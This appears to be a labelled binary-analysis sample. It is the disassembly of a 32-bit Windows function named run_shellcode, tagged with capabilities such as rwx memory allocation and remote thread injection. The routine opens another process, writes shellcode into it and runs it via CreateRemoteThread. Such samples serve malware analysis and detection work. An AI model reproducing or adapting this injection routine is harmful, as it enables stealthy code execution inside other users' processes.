Function at 0x1002d300
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor eax, eax
mov dword [ebp - 0xc], edx
push ebx
mov dword [ebp - 0x14], eax
mov ebx, ecx
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov byte [ebp - 1], 0
mov dword [ebp - 8], 0
push esi
push edi
test eax, eax
jne 0x1002d335
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov esi, eax
jmp 0x1002d363
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
jne 0x1002d383
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.OpenProcess_failed_with_status_0x_X_n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
test esi, esi
jne 0x1002d383
push str.run_shellcode_Cannot_continue_running_shellcode_because_process_handle_couldnt_be_obtained__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
xor al, al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
cmp byte [ebx], 0xe9
jne 0x1002d392
lea ecx, [ebx + 1]
mov ebx, dword [ecx]
add ebx, 4
add ebx, ecx
mov edi, dword [ebp + 0x14]
test edi, edi
jne 0x1002d429
push 4
push 0x3000
push 0x1000
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edx, eax
mov dword [ebp - 0x10], edx
test edx, edx
jne 0x1002d3c1
push str.run_shellcode_VirtualAllocEx___failed_for_pageStart__n
jmp 0x1002d36c
cmp byte [ebp + 0xc], 0
mov ecx, 0x1000
mov edi, edx
mov dword [ebp + 0x18], ecx
je 0x1002d3f5
xor eax, eax
cmp dword [ebx + eax], 0x21444e45
je 0x1002d3e6
inc eax
cmp eax, 0xffc
jb 0x1002d3d3
jmp 0x1002d3f5
mov edi, edx
mov ecx, eax
sub edi, eax
mov dword [ebp + 0x18], ecx
add edi, 0x1000
lea eax, [ebp - 0x1c]
push eax
push 0x40
push ecx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
test eax, eax
jne 0x1002d429
push str.run_shellcode_VirtualProtectEx___failed__n
push dword [0x100ee8a4]
call fcn.1000f610
mov eax, dword [ebp - 0x10]
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x1002d564
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x18]
push ebx
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [ebp - 8]
mov eax, dword [ebp + 0x18]
cmp ecx, eax
je 0x1002d45d
push ecx
push eax
push str.run_shellcode_Mismatch_between_ShellcodeSize___d__and_NumberOfBytesWritten___d__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0x10
jmp 0x1002d557
cmp dword [ebp + 0x10], 0
jne 0x1002d47c
push dword [ebp - 0xc]
call edi
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
call edi
mov dword [ebp - 0x18], eax
mov byte [ebp - 1], 1
jmp 0x1002d55d
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x1002d544
cmp dword [ebp - 0xc], 0
je 0x1002d53d
push 4
push 0x3000
push ebx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov dword [ebp - 0x14], eax
test eax, eax
jne 0x1002d4b3
push str.run_shellcode_VirtualAllocEx___failed_for_paramAddress__n
jmp 0x1002d36c
lea ecx, [ebp - 8]
push ecx
push ebx
push dword [ebp - 0xc]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x1002d4d1
push str.run_shellcode_WriteProcessMemory___failed_for_paramAddress__n
jmp 0x1002d36c
mov eax, dword [ebp - 8]
cmp eax, ebx
je 0x1002d4ef
push eax
push ebx
push str.run_shellcode_Mismatch_between_ParamSize___d__and_NumberOfBytesWritten___d__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0x10
jmp 0x1002d557
mov eax, dword [ebp - 0x14]
push 0
push 0
push eax
push edi
push 0
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov edi, eax
test edi, edi
jne 0x1002d510
push str.run_shellcode_Error_creating_remote_thread__n
jmp 0x1002d549
push 5
push str.run_shellcode_Waiting__d_seconds_for_thread_to_finish..._n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
push 0x1388
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [ebp - 1], 1
jmp 0x1002d55d
push str.run_shellcode_ParamSize_is_NOT_0_but_Param_is_NULL__Aborting..._n
jmp 0x1002d549
push str.run_shellcode_ParamSize_is_0_but_Param_is_NOT_NULL__Aborting..._n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 8
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov eax, dword [ebp - 0x10]
test eax, eax
je 0x1002d591
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0x8000
push 0
push eax
push esi
call ebx
test eax, eax
jne 0x1002d597
call edi
push eax
push str.Cannot_free_allocatedZone_with_status_0x_X__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
jmp 0x1002d597
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov eax, dword [ebp - 0x14]
test eax, eax
je 0x1002d5c3
push 0x8000
push 0
push eax
push esi
call ebx
test eax, eax
jne 0x1002d5c3
call edi
push eax
push str.Cannot_free_paramAddress_with_status_0x_X__n
push dword [0x100ee8a4]
call fcn.1000f610
add esp, 0xc
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_SetLastError]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret